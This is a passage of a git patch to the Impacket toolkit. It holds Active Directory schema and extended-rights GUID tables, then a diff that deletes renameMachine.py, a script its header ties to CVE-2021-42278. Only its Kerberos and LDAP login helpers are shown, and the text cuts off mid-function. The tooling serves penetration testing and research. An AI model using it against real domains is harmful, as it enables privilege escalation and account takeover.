'50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', - 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', - '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', - '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', - 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', - 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', - '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', - 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', - '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', - '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', - 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', - 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', - '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', - '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', - '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', - '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', - 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', - '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', - '2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', - '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', - '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', - 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', - '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', - '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', - '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', - 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', - 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', - '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', - 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', - '93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', - 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', - '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', - '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', - 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', - 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', - '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', - 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', - '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', - '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', - 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', - 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', - 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', - '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', - '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', - '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', - 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', - 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', - 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', - 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', - 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', - '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', - 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', - 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', - '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', - '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', - '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', - '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', - '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', - 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', - 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', - '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', - 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', - 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', - 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', - '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', - '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', - 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', - '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', - 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', - 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', - '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', - 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', - 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', - 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', - 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', - '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', - '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', - 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', - 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', - 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', - 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', - 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', - 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', - 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', - 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', - 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', - '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', - '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', - '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', - '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', - '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', - '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', - 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', - 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', - 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', - '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', - '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', - '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', - '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', - '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', - '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', - 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', - 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', - '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', - 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', - 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', - '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', - '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', - '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', - 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', - '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', - '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', - 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', - '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', - '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', - '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', - 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', - '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', - 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', - 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', - 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', - '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', - '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', - 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', - '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', - 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', - 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', - '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', - 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', - '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', - 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', - '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', - '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', - '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', - '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', - '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', - 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', - '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', - 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', - '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', - 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', - 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', - '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', - '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', - 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', - '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', - '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', - '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', - 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', - 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', - 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', - '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', - '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', - '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', - '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', - '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', - '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', - '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', - 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', - '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', - 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', - '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', - 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', - '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', - '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', - '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', - 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', - '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', - 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', - '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', - 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', - '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', - 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', - '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', - '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', - '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', - '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', - 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', - 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', - 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', - 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', - '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', - 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', - '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', - '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', - 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', - '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', - 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', - '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', - 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', - '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', - 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', - 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', - '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', - 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', - 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', - 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', - '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', - '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', - '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', - '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', - 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', - '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', - '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', - 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', - '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', - 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', - 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', - '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', - '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', -} - - -EXTENDED_RIGHTS = { - 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', - 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', - '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', - 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', - 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', - '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', - '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', - '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', - 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', - 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', - 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', - 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', - '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', - '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', - 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', - 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', - 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', - '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', - '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', - 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', - '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', - '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', - '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', - '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', - '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', - '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', - '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', - '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', - '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', - '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', - 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', - 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', - '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', - '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', - 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', - 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', - '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', - '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', - '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', - 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', - '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', - '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', - 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', - 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', - 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', - 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', - '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', - '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', - 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', - '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', - 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', - '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', - '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', - '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', - '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', - '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', - '1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', - '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', - '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', - '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', - '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', - 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', - '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', - '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', - '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', - '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', - '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', - 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', - 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', - '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', - 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', - '68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', - 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', -} From 2fc02e655bd799465fa62d235905263b00cf2db3 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Wed, 13 Dec 2023 14:17:14 +0100 Subject: [PATCH 152/152] removed unneeded changes --- examples/renameMachine.py | 378 -------------------------------------- examples/tgssub.py | 146 --------------- examples/ticketer.py | 190 ++++++++++++++++--- impacket/krb5/pac.py | 36 +++- 4 files changed, 200 insertions(+), 550 deletions(-) delete mode 100755 examples/renameMachine.py delete mode 100755 examples/tgssub.py diff --git a/examples/renameMachine.py b/examples/renameMachine.py deleted file mode 100755 index 1664dcb3cf..0000000000 --- a/examples/renameMachine.py +++ /dev/null @@ -1,378 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278) -# -# Authors: -# @snovvcrash -# Charlie Bromberg (@_nwodtuhs) -# - -import argparse -import logging -import sys -import traceback -import ldap3 -import ssl -import ldapdomaindump -from binascii import unhexlify -import os - -from impacket import version -from impacket.examples import logger, utils -from impacket.smbconnection import SMBConnection -from impacket.spnego import SPNEGO_NegTokenInit, TypesMech -from ldap3.utils.conv import escape_filter_chars - - -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - if useCache: - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - except Exception as e: - # No cache present - print(e) - pass - else: - # retrieve domain information from CCache file if needed - if domain == '': - domain = ccache.principal.realm['data'].decode('utf-8') - logging.debug('Domain retrieved from CCache: %s' % domain) - - logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME')) - principal = 'ldap/%s@%s' % (target.upper(), domain.upper()) - - creds = ccache.getCredential(principal) - if creds is None: - # Let's try for the TGT and go from there - principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - logging.debug('Using TGT from cache') - else: - logging.debug('No valid credentials found in cache') - else: - TGS = creds.toTGS(principal) - logging.debug('Using TGS from cache') - - # retrieve user information from CCache file if needed - if user == '' and creds is not None: - user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') - logging.debug('Username retrieved from CCache: %s' % user) - elif user == '' and len(ccache.principal.components) > 0: - user = ccache.principal.components[0]['data'].decode('utf-8') - logging.debug('Username retrieved from CCache: %s' % user) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS 